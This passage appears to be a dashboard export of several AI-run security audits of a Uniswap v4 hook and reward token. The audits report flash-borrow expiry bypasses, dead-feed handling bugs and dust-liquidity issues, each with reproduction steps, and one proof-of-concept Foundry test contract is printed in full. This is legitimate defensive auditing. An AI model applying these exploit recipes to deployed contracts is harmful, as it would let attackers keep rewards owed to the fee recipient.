     Inside the helper's unlock (tx.origin = alice), take half the pool's $COMPANY to alice, then buy 0.001 IMD in the hook pool directly. afterSwap -> markActive(alice) forfeits only 0.0183 of the 0.6 IMD and sets lastActive(alice) = now.

     Borrowing the whole balance forfeits 0.

     whole reproduction
     proof · a Foundry test the fix has to pass

     // SPDX-License-Identifier: MIT
     pragma solidity 0.8.26;
     
     import {Test} from "forge-std/Test.sol";
     import {PoolManager} from "v4-core/src/PoolManager.sol";
     import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
     import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
     import {IUnlockCallback} from "v4-core/src/interfaces/callback/IUnlockCallback.sol";
     import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";
     import {TickMath} from "v4-core/src/libraries/TickMath.sol";
     import {PoolKey} from "v4-core/src/types/PoolKey.sol";
     import {Currency} from "v4-core/src/types/Currency.sol";
     import {ModifyLiquidityParams} from "v4-core/src/types/PoolOperation.sol";
     
     import {CompanyHook} from "src/CompanyHook.sol";
     import {CompanyToken} from "src/CompanyToken.sol";
     import {CompanyRouter} from "src/CompanyRouter.sol";
     import {DeployLib} from "script/DeployLib.sol";
     
     contract SErc20 {
         uint8 public decimals = 18;
         mapping(address => uint256) public balanceOf;
         mapping(address => mapping(address => uint256)) public allowance;
     
         function mint(address to, uint256 amt) external {
             balanceOf[to] += amt;
         }
     
         function approve(address s, uint256 amt) external returns (bool) {
             allowance[msg.sender][s] = amt;
             return true;
         }
     
         function transfer(address to, uint256 amt) external returns (bool) {
             balanceOf[msg.sender] -= amt;
             balanceOf[to] += amt;
             return true;
         }
     
         function transferFrom(address f, address to, uint256 amt) external returns (bool) {
             if (allowance[f][msg.sender] != type(uint256).max) allowance[f][msg.sender] -= amt;
             balanceOf[f] -= amt;
             balanceOf[to] += amt;
             return true;
         }
     }
     
     contract SFeed {
         function decimals() external pure returns (uint8) {
             return 8;
         }
     
         function latestRoundData() external view returns (uint80, int256, uint256, uint256, uint80) {
             return (1, 1e8, block.timestamp, block.timestamp, 1);
         }
     }
     
     /// @notice Inside one unlock: borrows the pool's $COMPANY to `holder`, then repays it with transferFrom(holder).
     ///         The repayment is the holder's "send", so _transfer forfeits with the borrowed tokens counted as weight.
     contract FlashForfeit is IUnlockCallback {
         IPoolManager immutable pm;
         CompanyToken immutable t;
         address holder;
     
         constructor(IPoolManager pm_, CompanyToken t_) {
             pm = pm_;
             t = t_;
         }
     
         function run(address holder_) external {
             holder = holder_;
             pm.unlock("");
         }
     
         function unlockCallback(bytes calldata) external returns (bytes memory) {
             uint256 borrowed = t.balanceOf(address(pm));
             pm.take(Currency.wrap(address(t)), holder, borrowed);
             pm.sync(Currency.wrap(address(t)));
             t.transferFrom(holder, address(pm), borrowed);
             pm.settle();
             return "";
         }
     }
     
     contract FlashForfeitTest is Test {
         uint256 constant SUPPLY = 1_000_000_000e18;
         int24 constant FULL_90 = 887220;
         int24 constant FULL_60 = 887220;
     
         PoolManager pm;
         SErc20 imd;
         CompanyHook hook;
         CompanyToken token;
         CompanyRouter router;
         address alice = makeAddr("alice");
         address bob = makeAddr("bob");
         address owner = makeAddr("owner");
         address feeRecipient = makeAddr("feeRecipient");
     
         function _key(address a, address b, uint24 fee, int24 ts) internal pure returns (PoolKey memory) {
             (address c0, address c1) = a < b ? (a, b) : (b, a);
             return PoolKey(Currency.wrap(c0), Currency.wrap(c1), fee, ts, IHooks(address(0)));
         }
     
         function setUp() public {
             vm.warp(1_800_000_000);
             pm = new PoolManager(address(this));
             imd = new SErc20();
             SErc20 usdg = new SErc20();
             PoolModifyLiquidityTest lp = new PoolModifyLiquidityTest(pm);
             imd.mint(address(this), 10_000_000e18);
             usdg.mint(address(this), 10_000_000e18);
             imd.approve(address(lp), type(uint256).max);
             usdg.approve(address(lp), type(uint256).max);
     
             PoolKey memory imdUsd = _key(address(imd), address(usdg), 9000, 90);
             pm.initialize(imdUsd, TickMath.getSqrtPriceAtTick(0));
             lp.modifyLiquidity(imdUsd, ModifyLiquidityParams(-FULL_90, FULL_90, 10_000e18, 0), "");
     
             CompanyToken.Pool[5] memory pools;
             address[5] memory stocks;
             address[5] memory feeds;
             for (uint256 i; i < 5; i++) {
                 SErc20 s = new SErc20();
                 s.mint(address(this), 10_000_000e18);
                 s.approve(address(lp), type(uint256).max);
                 PoolKey memory k = _key(address(usdg), address(s), 3000, 60);
                 pm.initialize(k, TickMath.getSqrtPriceAtTick(0));
                 lp.modifyLiquidity(k, ModifyLiquidityParams(-FULL_60, FULL_60, 1_000_000e18, 0), "");
                 pools[i] = CompanyToken.Pool(3000, 60);
                 stocks[i] = address(s);
                 feeds[i] = address(new SFeed());
             }
     
             bytes memory initCode = abi.encodePacked(
                 type(CompanyHook).creationCode,
                 abi.encode(
                     pm,
                     address(imd),
                     owner,
                     feeRecipient,
                     DeployLib.startTickForMarketCap(306e18, SUPPLY),
                     CompanyHook.ImdEthPool(10_000, 100, address(0))
                 )
             );
             uint160 flags = uint160((1 << 13) | (1 << 11) | (1 << 7) | (1 << 6) | (1 << 3) | (1 << 2));
             (bytes32 salt, address expected) = DeployLib.mineSalt(address(this), flags, initCode, 0);
             address deployed;
             assembly {
                 deployed := create2(0, add(initCode, 0x20), mload(initCode), salt)
             }
             require(deployed == expected, "hook address");
             hook = CompanyHook(payable(deployed));
             router = CompanyRouter(payable(hook.router()));
             token = new CompanyToken(
                 address(hook), address(usdg), CompanyToken.Pool(9000, 90), stocks, pools, address(new SFeed()), feeds
             );
             vm.prank(owner);
             hook.openPool(address(token));
     
             address[2] memory users = [alice, bob];
             for (uint256 i; i < 2; i++) {
                 imd.mint(users[i], 1_000_000e18);
                 vm.prank(users[i]);
                 imd.approve(address(router), type(uint256).max);
             }
         }
     
         function _buy(address who, uint256 imdIn) internal {
             vm.prank(who);
             router.buy(address(token), imdIn, 0, block.timestamp);
         }
     
         function test_flashBorrowedWeightDodgesForfeitInTransfer() public {
             _buy(alice, 20e18);
             _buy(bob, 20e18);
             vm.warp(block.timestamp + 8 days);
             _buy(bob, 10e18); // one distribution inside alice's last 7 days
     
             uint256 expired = token.expiredRewardsOf(alice, 0);
             uint256 withdrawable = token.withdrawableRewardOf(alice, 0);
             assertGt(expired, 0, "alice has expired IMD rewards");
     
             FlashForfeit f = new FlashForfeit(IPoolManager(address(pm)), token);
             vm.prank(alice);
             token.approve(address(f), type(uint256).max); // approve is not activity
             f.run(alice);
     
             // Expected (as for the 1-wei self-transfer, audit 363ab052 finding 1): the send forfeits what had expired.
             assertEq(token.recycledHeld(0), expired, "expired rewards must be forfeited by the send");
     
             vm.prank(alice);
             uint256[6] memory paid = token.claim();
             assertEq(paid[0], withdrawable - expired, "only the last 7 days may be paid");
         }
     }

     whole proof

   • lowA contract wallet's buy through any non-project router is never activity; the timer of tx.origin (signer/bundler) is reset insteadcontracts/src/CompanyHook.sol:324

     The spec says a wallet stays active by buying, and change 6 restores a real buy as activity. For any swap not sent by CompanyRouter/CompanyEthRouter (Uniswap's Universal Router, aggregators, PoolSwapTest), afterSwap marks tx.origin. A contract wallet (Safe, ERC-4337 account) can never be tx.origin, so its buys are never recorded and its rewards expire while it keeps buying.

     The tx.origin that is marked (the Safe's executing owner, or a 4337 bundler) is a different wallet that may hold nothing. Receipts from the PoolManager are deliberately not activity (78c00339 finding 4), so the contract wallet has no buy-based path back. It must claim or send.

     Possible fix that keeps 78c00339-4 closed: in afterSwap, record the bought token amount in the token's transient storage (hook-only setter). In _transfer, treat a receipt from the PoolManager as activity (forfeit first) only while that same-transaction budget covers it, decrementing it. A 1-wei take with no buy then stays non-activity, and no external call is added to transfers.

     Otherwise, document that only EOAs and the project's routers get buy activity.

     whole finding

     Local setup.

     Contract wallet S (code at its address) buys 20 IMD of $COMPANY through PoolSwapTest with vm.prank(S, signer). bob buys 20 IMD (a distribution).

     Warp 6 days.

     S buys 1 IMD again through PoolSwapTest.

     Expected: lastActive(S) == now.

     Actual: lastActive(S) is still its first-receipt time, and lastActive(signer) == now.

     Warp 2 more days: expiredRewardsOf(S, 0) = 0.6 IMD (all its rewards) two days after S bought, so recycle(S) sends them to the fee recipient.

3. reviewed
   #724Audit flowClaude3 findings · 2 high

   Review complete. The findings file is written and validated, no tracked file was changed, and the only additions are the proof tests under contracts/test/scratch/.

   Result: two High findings and one Low. Both Highs reopen expiry bypasses that the 363ab052 fixes were meant to close, through the new activity paths. The full suite (49 unit tests, 1 fork test against live Robinhood Chain state) passes, so none of this is caught by existing tests.

   Findings written to .imd-findings.json:

   • High, CompanyHook.sol:328. The hook calls markActive(trader) from afterSwap, which necessarily runs while the PoolManager is unlocked. A contract can take the pool's whole $COMPANY balance to the inactive wallet, make a dust buy with no router (trader becomes tx.origin), and markActive computes "recent" with the borrowed weight, forfeits nothing, and resets the timer. The 0.6 IMD backlog in the proof is fully revived for a 0.001 IMD buy. Proof: test/scratch/MarkActiveFlashBorrow.t.sol, fails now, passes under a fix.
   • High, CompanyToken.sol:366. The same mechanism in the token itself: a 1 wei transferFrom out of the wallet while it holds flash-borrowed pool tokens makes _forfeit see an inflated weight, so it forfeits nothing and resets the timer. No swap or fee needed. Proof: test/scratch/TransferFlashBorrow.t.sol.
   • Low, CompanyToken.sol:824. A feed that reverts or answers zero is treated as dead immediately rather than after 30 days, because _feedAge returns max for an unusable feed. A one-block outage converts that stock's round to IMD on the next claim. Scratch check in test/scratch/DeadFeedCheck.t.sol.

   Fix direction for the Highs. Either count mid-unlock activity only when the hook's own routers report it (they control their unlock), or keep every buy counting but track tokens received from the PoolManager in transient storage and exclude them from the expiry weight. The second option keeps the "no external call in transfers" property.

   Confirmed without new defects: forfeit ordering in _transfer runs before reweigh and cannot revert or block a transfer; claim/recycle mid-unlock guard; the 1% dust-pool rule; fee removal in minStockOut; solvency of all six assets; the 100,000 minimum; distribute flash guard. One info-level note: removing the pool fee before the 3% tolerance raises the documented JIT skim bound from 3% to 3% plus the pool fee, since a JIT LP receives that fee; still dust on a 4 IMD round.

   ran onclaude · claude-fable-5-1 · 41 turns · 16m 22s · 386 in · 64.2K out · 2.4M cached

   submission14e08e719f140f990a46b9d83f15fa917b46bd98148650c2dd43c08c1c32dc27

   device79373c79d1351ebabba8ddfcb60704409e0a1ce0c096820a1d978dc8768a4835

   started from331230c2d46e1d6079bcafb2caba8ce288328a5b

   bundlenone

   changed · 0 filesnothing

   • highmarkActive runs mid-unlock, so a buyer who flash-borrows the pool's $COMPANY dodges expiry (reopens 363ab052 finding 2)contracts/src/CompanyHook.sol:328

     afterSwap calls CompanyToken.markActive(trader) while the PoolManager is unlocked (a hook callback can only run there). markActive forfeits with expiredRewardsOf(), whose 'recent' estimate is weightOf(holder) x per-share growth of the last 7 days, and weightOf reads the live balance.

     Inside its own unlock, a contract can pm.take() the pool's whole $COMPANY balance to the inactive wallet (a receipt from the PoolManager is deliberately not activity and does not forfeit), then swap a dust amount of IMD straight through the PoolManager; the hook sees sender != router, sets trader = tx.origin (the wallet), and markActive(wallet) computes 'recent' with the borrowed weight (the pool's balance, i.e. most of the supply), finds expired = 0, forfeits nothing and resets lastActive.

     The wallet then returns the tokens and settles.

     The only precondition is one holder-fee distribution inside the last 7 days with (poolBalance / eligibleSupply) x IMD credited >= the wallet's backlog, which any trade by anyone satisfies for an ordinary holder (the wallet can also create it with a dust buy from a second address). claim() and recycle() were given an isUnlocked() guard for exactly this attack, but markActive cannot have one, so the 363ab052 finding-2 bypass is back through the new activity path.

     Victim: the fee recipient, who should receive the expired rewards; cost to the attacker: a 0.001 IMD buy (4% fee) plus gas, with the flash borrow free under v4 flash accounting.

     Fix options that keep the agreed design: (A) only count mid-unlock activity that the hook's own routers report, i.e. in afterSwap call markActive only when sender == router || sender == ethRouter (they control their whole unlock, so no borrow is possible), and document that buys through other routers do not refresh the timer; or (B) keep every buy counting but make the expiry weight borrow-proof: in _transfer track, in transient storage, tokens an address received from the PoolManager this transaction (and pass that amount along when it is forwarded, clear it when sent back), and have expiredRewardsOf use weight minus that amount.

     Option A also needs the companion fix in _transfer (next finding).

     whole finding

     State: alice bought 20 IMD of $COMPANY, bob bought 20 IMD (the IMD half of both trades' holder fees, 0.6 IMD, is distributed to alice as sole holder), 8 days pass, bob buys 10 IMD (a distribution inside alice's last 7 days). expiredRewardsOf(alice,0) = 0.6e18 (her whole backlog). alice approves a helper contract and signs a transaction calling helper.run(): inside pm.unlock the helper does pm.take($COMPANY, alice, balanceOf(pm)), pm.swap(companyPool, exactIn 1e15 IMD) with no hookData, settles the IMD, transferFrom(alice -> pm, borrowed), settles.

     Expected: a wallet inactive for more than 7 days gives up its expired rewards before any activity resets its timer (recycledHeld[0] == 0.6e18, or the timer untouched).

     Actual: lastActive[alice] == block.timestamp, recycledHeld[0] == 0, expiredRewardsOf(alice,0) == 0, withdrawableRewardOf(alice,0) still the full amount; a later recycle(alice) moves nothing and she claims the whole backlog.

     Run: forge test --match-path test/scratch/MarkActiveFlashBorrow.t.sol (fails on this tree; passes once the hook only marks router-reported buyers, or once the expiry weight excludes tokens taken from the PoolManager in the same transaction).

     whole reproduction

   • high_transfer forfeits with a live weight, so a 1 wei send while holding flash-borrowed pool tokens revives expired rewards (reopens 363ab052 finding 1)contracts/src/CompanyToken.sol:366

     The 363ab052 finding-1 fix makes a send forfeit the sender's expired rewards before resetting its timer, but the amount forfeited comes from expiredRewardsOf(), which estimates 'recent' from weightOf(from), the current balance. Transfers must work while the PoolManager is unlocked (sells go through it), and nothing in _transfer distinguishes a balance that was flash-borrowed from the pool a moment earlier.

     A contract unlocks the PoolManager, takes the pool's whole $COMPANY balance to the inactive wallet (a receipt from the PoolManager is not activity and does not forfeit), pulls 1 wei from the wallet with a pre-approved transferFrom (a send by the wallet: _forfeit(from) runs with the inflated weight, sees 'recent' far above the withdrawable amount, forfeits nothing, and lastActive[from] is reset), then returns the tokens and settles.

     The whole backlog is claimable again, at the cost of gas only; no swap and no fee is paid. Precondition as in the previous finding: one distribution inside the last 7 days such that (poolBalance / eligibleSupply) x IMD credited >= backlog. This is the same mechanism as finding 1 above, in the token's own transfer path, so a hook-only fix does not close it.

     Fix options: (A) in _transfer, skip both the forfeit and the timer reset when the PoolManager is unlocked unless msg.sender is router or ethRouter (one exttload staticcall to the PoolManager; sells through other routers then do not refresh the timer, which should be documented); or (B) keep _transfer call-free: track in transient storage the tokens an address received from the PoolManager this transaction (moving the tag along when they are forwarded and clearing it when they go back), and have expiredRewardsOf use weight minus that amount so a borrowed balance never counts toward 'recent'.

     whole finding

     State: alice bought 20 IMD of $COMPANY, bob bought 20 IMD, 8 days pass, bob buys 10 IMD. expiredRewardsOf(alice,0) = 0.6e18. alice approves a helper and calls helper.run(): inside pm.unlock the helper does pm.take($COMPANY, alice, balanceOf(pm)); token.transferFrom(alice, helper, 1); then transfers everything back to the PoolManager and settles.

     Expected: alice's expired 0.6e18 is moved to recycledHeld[0] before her timer resets (or her timer is left alone).

     Actual: recycledHeld[0] == 0, lastActive[alice] == block.timestamp, expiredRewardsOf(alice,0) == 0 and the full backlog is withdrawable; recycle(alice) afterwards moves nothing.

     Run: forge test --match-path test/scratch/TransferFlashBorrow.t.sol (fails on this tree; passes once mid-unlock sends by untrusted callers stop counting as activity, or once the expiry weight excludes tokens taken from the PoolManager in the same transaction).

     whole reproduction

   • lowA feed that reverts or answers zero is treated as dead at once, not after DEAD_AFTERcontracts/src/CompanyToken.sol:824

     The brief and the DEAD_AFTER comment say a feed 'dead or unusable for DEAD_AFTER (30 days)' hands rounds to holders as IMD. _feedAge returns type(uint256).max whenever latestRoundData reverts, returns short data, or reports answer <= 0 or updatedAt == 0, and _feedsDead compares that to DEAD_AFTER, so a feed that is unusable right now is dead immediately: there is no record of when it became unusable and no 30-day grace. _readFeed already makes such a feed stale (the stock is held), which is the behaviour the design wants for a transient outage; the dead branch then overrides it.

     Chainlink aggregators on Arbitrum-class chains have had short reverting or zero-answer windows during proxy migrations and incidents; during such a window every convert() or claim() (one per minute) credits that stock's capped round (up to 4 IMD) to holders as IMD, so holders who expected stock receive IMD and the round cannot be undone once the feed recovers. Nobody outside Chainlink can trigger it, which bounds the severity.

     Minimal fix: only treat an unusable feed as dead after it has been unusable for DEAD_AFTER, e.g. record per feed the first timestamp it was seen unusable (cleared when it reads again) and compare that to DEAD_AFTER, or treat an unusable feed as merely stale (continue) and reserve the dead branch for a stale updatedAt older than DEAD_AFTER.

     whole finding

     State: alice and bob each bought 1,000 IMD, so pendingConvert[1] (NVDA) = 6e18 and all feeds are fresh.

     One minute later the NVDA feed's latestRoundData reverts (or returns answer 0 with updatedAt = block.timestamp) for a single block and token.convert() is called.

     Expected (brief): a stale or unusable feed holds the stock, and only after 30 days of that is the round paid as IMD, so pendingConvert[1] stays 6e18.

     Actual: pendingConvert[1] drops to 2e18 and owed[0] rises by 4e18 in that same call (ConversionFailed(1, 4e18)); the next minute's call converts the rest the same way while the outage lasts.

     Scratch check: contracts/test/scratch/DeadFeedCheck.t.sol, tests test_revertingFeed_fallsBackImmediately and test_zeroAnswerFeed_fallsBackImmediately both fail on this tree.

     whole reproduction
4. reviewed
   #281Audit mathClaude4 findings · 1 high

   The review is complete. Findings are in .imd-findings.json (4 entries, 3 with Foundry proofs under contracts/test/scratch/). No source files were changed; the working tree only holds the scratch tests.

   What I verified for the six changed areas

   • Weight and correction order in _transfer is correct: the forfeit runs on the pre-transfer weight, balances change, then _reweigh keeps accumulated rewards exact, then the timer resets. The forfeit moves owed into recycledHeld one for one, so IMD and stock solvency hold. Nothing in the path can revert (every owed -= amount is bounded by the withdrawable sum, the _toInt overflow bound needs an unreachable per-share value) and there are no external calls in transfers.
   • claim()/recycle() mid-unlock guards work as described, but they leave two other activity paths open (the High finding).
   • Dead feed / dead IMD pool: nobody can trigger the stock-feed path early (Chainlink is not caller-controllable; an out-of-gas trick on the feed read cannot leave enough gas for the fallback). The IMD-pool side has a boundary gap (Medium) and the "unusable" feed case skips the 30-day wait (Low).
   • Dust stock pool, minStockOut fee removal: arithmetic checked with live numbers; no overflow or zero-rounding at the round sizes reachable; rounding directions favour holders.
   • markActive: only the hook can call it and it cannot revert a swap, but it computes expiry on a flash-inflatable weight.
   • Full suite passes (50 tests) and the fork test passes against live Robinhood Chain feeds and pools.

   Findings

   1. High. Flash-borrowed pool tokens revive an inactive wallet's expired rewards. Both new activity paths (_transfer forfeit at CompanyToken.sol:366 and markActive via CompanyHook.sol:328) run inside a foreign PoolManager unlock. The attacker takes the pool's $COMPANY onto the inactive wallet, so expiredRewardsOf estimates "recent" from a weight near the whole supply and forfeits nothing; a 1 wei send or a 1 IMD third-party buy with the wallet as tx.origin then resets the timer. Proof: both tests in FlashExpiryBypass.t.sol fail with 0 of the 0.3 IMD backlog reaching the protocol, and pass under a candidate fix that never reactivates an already-inactive wallet from a transfer or buy. This is the flash variant of 363ab052 finding 2 that AUDIT.md §7 calls closed.
   2. Medium. IMD/USDG pool counts as empty only below 2,000 wei of virtual depth. A 10,000-unit dust position (costing under 20,000 wei) clears imdPoolEmptySince, so the 30-day IMD fallback never fires while each round becomes a 5-wei no-op that consumes the per-minute slot. Proof: DustImdPool.t.sol.
   3. Low. An unusable feed (answer ≤ 0, reverting call) is dead immediately, not after 30 days as the request and AUDIT.md state. Proof: UnusableFeed.t.sol shows 4 IMD paid as IMD in the same call.
   4. Info. Contract-wallet buys through third-party routers credit tx.origin (relayer/bundler), so "buying keeps a wallet active" does not hold for that class.

   ran onclaude · claude-fable-5-1 · 39 turns · 21m 29s · 610 in · 84K out · 4.1M cached

   submission4cc8243f8d36d44f4fe7cc46c03dae0395715e479cdb982eae0fb7383d4da655

   device8af9903f4ad1eed04241eb94aab079c2ee0461c3c185380ab6890ee4a4b4ebae

   started from331230c2d46e1d6079bcafb2caba8ce288328a5b

   bundlenone

   changed · 0 filesnothing

   • highFlash-borrowed pool tokens inflate the expiry estimate in _transfer and markActive, reviving an inactive wallet's expired rewards (363ab052 finding 2 reopened through the finding-1 and buy-activity ficontracts/src/CompanyToken.sol:366

     claim() and recycle() now refuse to run while the PoolManager is unlocked, but the two activity paths added since 363ab052 do not: _transfer forfeits-then-resets for an inactive sender (CompanyToken.sol:366 and :387), and CompanyHook.afterSwap calls markActive(trader) with trader = tx.origin for any non-router swap (CompanyHook.sol:328, CompanyToken.sol:399-404).

     Both run inside whatever unlock the caller holds. _forfeit uses expiredRewardsOf, whose recent estimate is (mag - magCut) * weightOf(holder) with the holder's CURRENT weight.

     Inside a foreign unlock the attacker takes every $COMPANY the PoolManager holds (~1e9 tokens, as the existing FlashHolder does) onto the inactive wallet; a receipt from the PoolManager is not activity but it does raise the weight, so recent becomes (last-7-day per-share growth) x (whole supply) and dwarfs the backlog: expired = w > recent ? w - recent : 0 is 0 for every asset.

     The wallet then (path 1) sends 1 wei, or (path 2) is tx.origin of a 1 IMD buy made by the attacker's contract in the $COMPANY pool, so lastActive is reset with nothing forfeited. The borrowed tokens are returned and the unlock settles. Afterwards expiredRewardsOf is 0 (timer fresh) and the full backlog is paid by a later claim.

     Only a distribution inside the last 7 days is needed for the asset (any buy creates one for IMD; any convert in the last 7 days for stocks); the attacker can create it with a small buy from another wallet.

     Cost: gas plus one tiny buy (0.04 IMD fee on a 1 IMD buy); gain: the whole expired backlog, which should have gone to the fee recipient. For an EOA, the wallet only needs a one-time approval of the attacker contract so the tokens can be pulled back. This is the flash-loan variant of 363ab052 finding 2 that AUDIT.md section 7 describes as closed.

     Fix must keep transfers free of external calls: e.g. never reactivate an already-inactive wallet from _transfer/markActive (an inactive wallet comes back only through claim(), which cannot run mid-unlock), or only call markActive for CompanyRouter/CompanyEthRouter swaps and do not reset lastActive for an inactive sender in _transfer; the proof test passes with the first variant.

     whole finding

     State: wallet W (contract, or EOA that approved attacker contract X) holds >= 100,000 $COMPANY, has rewards older than 7 days, lastActive > 7 days ago, and at least one distribution happened in the last 7 days (e.g. bob buys 10 IMD). expiredRewardsOf(W,0) = 0.3 IMD.

     Attack (one tx by X.unlock): pm.take($COMPANY, W, balanceOf(pm)) ; then either W.transfer(any, 1) or X swaps 1 IMD for $COMPANY in the hook pool with tx.origin = W ; then X pulls the borrowed tokens back from W, sync/settle.

     Expected: 0.3 IMD forfeited to recycledHeld/feeRecipient (or still expired).

     Actual: recycledHeld(0) = 0, feeRecipient receives 0, expiredRewardsOf(W,0) = 0, lastActive(W) = now, withdrawableRewardOf(W,0) unchanged; W claims the full amount later.

     Run: forge test --match-path test/scratch/FlashExpiryBypass.t.sol (both tests fail with 'the expired backlog must reach the protocol: 0 < 299999999999999999').

     whole reproduction

   • mediumIMD/USDG pool counts as empty only below 2,000 wei of virtual depth: a dust position keeps the 30-day IMD fallback (363ab052 finding 3) from ever firing while turning every round into a 5-wei no-opcontracts/src/CompanyToken.sol:636

     _convertAll detects an IMD/USDG pool with no liquidity at its price as cap == 0, where cap = maxConvert() / 5 and maxConvert() = imdDepth * 25 / 10000 (capped at 20 IMD). That is zero only when the pool's virtual IMD depth at the current price is below 2,000 wei.

     Any full-range position of 10,000 liquidity units (it costs a few thousand wei of IMD and USDG, i.e. nothing) keeps maxConvert() at 25 wei and cap at 5 wei: imdPoolEmptySince is cleared (line 641-643), the 30-day fallback can never trigger, and each stock's round proceeds with imdIn = 5 wei.

     Because cap / 100 == 0, the stock-pool emptiness check (line 657) is disabled, convertStock(a, 5) swaps 5 wei of IMD for 0 USDG, reverts Slippage, and _fallBackToImd(a, 5) pays 5 wei as IMD and sets lastConvert[a], consuming the per-minute slot.

     The reserves (10% x 5 of all holder fees since the pool died) therefore stay locked: the exact harm 363ab052 finding 3 (Medium) was fixed for, reachable with liquidity that real dead pools commonly keep (abandoned dust positions) or that anyone can add for free. The symmetric fix for stock pools (finding 4) uses a 1%-of-round floor; the IMD pool uses == 0.

     Fix: treat the IMD pool as empty when maxConvert() is below a meaningful floor (e.g. MAX_ROUND_IMD / 100, 0.2 IMD, as poolLimit < cap / 100 does for stock pools), so that dust depth starts and keeps the imdPoolEmptySince clock and rounds are not spent on sub-dust swaps.

     whole finding

     State: holders exist with pendingConvert[a] = 6 IMD each; the IMD/USDG pool's real liquidity (10,000e18 units in the test) is removed, convert() records imdPoolEmptySince.

     Input: anyone adds a full-range position of 10,000 liquidity units (costs <= 20,000 wei of IMD, asserted in the test); maxConvert()/5 == 5 wei.

     31 days later, convert(): expected (AUDIT.md section 6, finding 3) one 4 IMD round of each stock paid to holders as IMD and imdPoolEmptySince still set; actual: imdPoolEmptySince == 0, pendingConvert(1) moves by 5 wei only, lastConvert consumed.

     Run: forge test --match-path test/scratch/DustImdPool.t.sol (fails with 'the 30-day IMD fallback should have paid a round: 5 < 4000000000000000000').

     whole reproduction

   • lowA feed that is unusable for a single round (answer <= 0, reverting call, short return) is treated as dead at once, not after DEAD_AFTER, so the round is paid as IMD immediatelycontracts/src/CompanyToken.sol:821

     The request and AUDIT.md section 6 finding 3 state that a feed 'dead or unusable for DEAD_AFTER (30 days)' pays rounds as IMD.

     In code, _feedAge returns type(uint256).max whenever the call fails, returns fewer than 160 bytes, or reports answer <= 0 or updatedAt == 0 (lines 821-825), and _feedsDead compares that to DEAD_AFTER (line 806), so a feed that is unusable for one block is 'dead' for that round: _convertAll takes the !_feedsFresh(a) branch and calls _fallBackToImd(a, imdIn) straight away (lines 664-667).

     Only the stale case (fresh call, positive answer, updatedAt older than 4 days) gets the 30-day grace. A momentary non-positive answer or a reverting aggregator call (e.g. during a Chainlink proxy phase change) therefore converts up to 4 IMD of that stock's reserve into IMD per minute for as long as it lasts, without any waiting period; the USDG/USD feed doing so affects all five stocks.

     Holders still receive the value as IMD, so the loss is the stock exposure, not funds, but the behaviour contradicts the stated 30-day rule and the 'holds the stock' behaviour given to stale feeds.

     Fix: in _feedAge, return the age of the last usable answer (or block.timestamp - lastGoodSeen[feed], tracked when a usable answer is read) instead of max for an unusable response, so an unusable feed also has to stay unusable for DEAD_AFTER before falling back.

     whole finding

     State: pendingConvert[1] = 6 IMD, deep pools, all feeds fresh.

     Input: the NVDA feed returns answer = 0 with updatedAt = block.timestamp for this round (MockFeed.set(0, block.timestamp)); convert().

     Expected: NVDA skipped, pendingConvert(1) still 6e18, owed(0) unchanged (wait up to 30 days).

     Actual: pendingConvert(1) = 2e18 and owed(0) grows by 4e18 in the same call.

     Run: forge test --match-path test/scratch/UnusableFeed.t.sol (fails with 'NVDA reserve should wait for a usable feed: 2000000000000000000 != 6000000000000000000').

     whole reproduction

   • infoBuys by contract wallets through third-party routers are credited as activity to tx.origin, not to the buyercontracts/src/CompanyHook.sol:326

     For swaps whose sender is not CompanyRouter/CompanyEthRouter, afterSwap marks tx.origin active. A smart-contract wallet (Safe, ERC-4337 account) that buys $COMPANY through an aggregator or any other router has tx.origin equal to its relayer or bundler: markActive(relayer) resets a timer that owns no rewards, and the real buyer's lastActive is untouched.

     The README's rule that buying keeps a wallet active does not hold for that buyer class; its rewards older than 7 days expire after 7 days without a claim, sell or send even if it buys every day. No funds are at risk and no third party can exploit it (the fallback never credits anyone with rewards), so this is a documentation/UX gap: state that only CompanyRouter/CompanyEthRouter buys count for contract wallets, or have the website route such buyers through the Company routers.

     State: contract wallet S holds >= 100,000 $COMPANY with rewards older than 7 days, lastActive(S) = 8 days ago.

     Input: S buys 1 IMD of $COMPANY through a generic router (e.g. PoolSwapTest) in a transaction signed by relayer R (vm.prank(S, R)).

     Expected: lastActive(S) = now after forfeiting what expired.

     Actual: lastActive(R) = now, lastActive(S) unchanged, expiredRewardsOf(S, 0) > 0 and recyclable by anyone.

5. reviewed
   #1616Audit economicsClaude5 findings · 2 high

   Everything is verified. The findings file is in place (excluded from git by the harness's own .git/info/exclude, as intended), the source tree is unchanged, the 49-test baseline passes, and the fork test passes against live chain state. Nothing further to request. Final report follows.

   Review result: 2 High, 2 Low, 1 Info

   The six changes from 363ab052 were checked in depth. Four of them hold. Two reopen the mid-unlock expiry dodge that 363ab052 finding 2 closed for claim(), this time with zero capital.

   High: _transfer forfeit is defeated by flash-borrowed pool tokens (contracts/src/CompanyToken.sol:366). The forfeit computes the non-expiring "recent" part from weightOf(holder) at call time. A holder that unlocks the PoolManager, takes the pool's $COMPANY to itself, sends itself 1 wei and gives the tokens back sees expiredRewardsOf return 0 and its timer reset. The whole backlog in all six assets survives. The fee recipient is the victim. Proof under contracts/test/scratch/FlashTransferRevive.t.sol fails on this code with 0 forfeited out of 0.30 IMD.

   High: markActive has the same hole from the hook's afterSwap (CompanyToken.sol:402, called from CompanyHook.sol:328). For a swap not sent by the routers the trader is tx.origin, and afterSwap runs inside the swapper's own unlock. An inactive EOA approves a helper, which borrows the pool's tokens to the EOA and buys 1,000 wei of IMD worth. The timer resets with nothing forfeited. Proof under contracts/test/scratch/FlashMarkActiveRevive.t.sol fails with 0 of 0.60 IMD forfeited. Router paths are safe because PoolManager.unlock cannot be nested.

   I verified a candidate fix for both: forfeit and reset an inactive wallet only when msg.sender is a router, when the PoolManager is not unlocked, or (for markActive) when the hook reports a router sender. With it the 49 existing tests and both proofs pass. One trade-off is yours to decide: that check adds a staticcall to the PoolManager inside _transfer, which the scanner notes avoid. The alternative without an external call is that a plain send never revives an already-inactive wallet, which changes the documented rule and test_final1.

   Low: dust liquidity in the IMD/USDG pool defeats the 30-day fallback (CompanyToken.sol:636). A 2e9-liquidity position keeps maxConvert() at 5,000,000 wei, so imdPoolEmptySince never starts and the stock reserves move a few hundred wei per round. This mirrors 363ab052 finding 4, which was fixed for the stock pools only.

   Low: an unusable feed is "dead" at once, not after 30 days (CompanyToken.sol:824). One round with a zero answer or a reverting proxy pays that stock's 4 IMD round as IMD immediately. Not attacker-triggerable, value preserved.

